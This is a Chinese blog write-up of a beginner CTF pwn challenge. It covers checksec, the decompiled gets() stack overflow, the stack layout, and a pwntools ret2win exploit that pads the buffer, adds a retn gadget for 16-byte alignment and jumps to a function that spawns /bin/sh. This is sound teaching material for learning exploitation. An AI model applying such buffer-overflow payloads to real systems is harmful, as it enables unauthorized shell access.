记录第一道Pwn题 | My "Hello-World" for Pwn!

记录第一道Pwn题 | My "Hello-World" for Pwn!

Atomic Lv1

[Pwn入门] 我的第一道Pwn题

即使它很简单,这也是我新的开始。纯菜,仅做记录     →题目”rip”←


1. 程序文件查看

首先下载下来附件”pwn1”,然后checksec一下:
使用checksec指令查看pwn1文件的安全措施
发现没有保护。有保护我能做出来吗

直接扔进IDA,发现有两个函数,”main”与”fun”,进去看一下代码。
main与fun函数的汇编代码

反编译一下得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//mian
int __fastcall main(int argc, const char **argv, const char **envp)
{
char s[15]; // [rsp+1h] [rbp-Fh] BYREF

puts("please input");
gets(s, argv);
puts(s);
puts("ok,bye!!!");
return 0;
}

//fun
int fun()
{
return system("/bin/sh");
}

2. 分析

很明显main的gets函数没有检查,这里存在缓冲区溢出可以利用。看一下mian的函数栈:
main函数的函数栈

这里-0x01到-0x0F是字符串*s的空间(byte*15),+0x00是上个栈的rbp地址(64bit address),+0x08的r(64bit adress)是main函数的返回地址。我们的目标就是通过未检测用户输入长度的gets()篡改r使main在return的时候转跳至fun来,继而获取shell。这里注意,因为对齐问题,我们要返回两次。   原因见文末
因此我们需要做的很简单:

  1. 输入长(0x08+0x0F)的垃圾字节填满上个栈的rbp与*s。
  2. 继续输入,覆盖main堆栈中的返回值r为mian的汇编码中retn的地址。(本题为0x401185,详见上图汇编代码)
  3. 继续输入,覆盖后面64位为fun函数的起始地址。(本题为0x401186)

3. 编写exp/流程详解

依上文思路构建exp如下:

1
2
3
4
5
6
7
8
9
from pwn import *

r = remote("***ip***", "***port***") #连接远程靶机

payload = b"a"*(0xf+0x8) + p64(0x0000000000401185) + p64(0x0000000000401186) #构建payload

r.sendline(payload) #发送

r.interactive() #开启交互

终端运行python3 exp.py,可以看到已经返回shell。ls发现根目录有flag文件,cat flag读出即可。

下面我们详细看下攻击的执行流程。(对比main最后几行汇编代码食用)
这是我们已经溢出过的栈:
stack-1


leave过后即将执行retn时,rsp指向0x08,此时执行retn,执行后将会使rip指向0x401185,即还是这句retn,并使rsp-8,指向0x10。这一次retn执行后的栈:
(注意1:此时PC指向retn,程序下一句还是retn)
(注意2:此时栈并未对齐0x10,无法直接执行system()

stack-2


然后继续执行,还是retn,这时由于rsp指向的是fun,这会导致rip指向fun的入口,进而执行fun的内容。且这次retn后栈已对齐0x10,可以正常执行system()函数,进而返回shell

4. 关于栈的对齐

又开了篇文章,详见本博客《栈对齐》

  • 标题: 记录第一道Pwn题 | My "Hello-World" for Pwn!
  • 作者: Atomic
  • 创建于 : 2024-07-27 10:00:00
  • 更新于 : 2024-09-12 08:49:52
  • 链接: https://blog.atom1c.icu/2024/07/27/myfirstpwn/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。